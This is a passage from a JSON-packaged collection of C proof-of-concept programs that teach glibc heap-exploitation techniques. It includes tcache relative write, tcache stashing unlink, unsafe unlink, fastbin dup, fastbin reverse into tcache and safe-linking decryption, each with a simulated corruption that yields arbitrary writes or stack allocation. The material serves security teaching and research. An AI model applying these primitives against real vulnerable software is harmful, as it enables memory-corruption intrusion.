* To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.37/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.37/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.38/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.38/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.38/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.38/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.38/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.38/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list 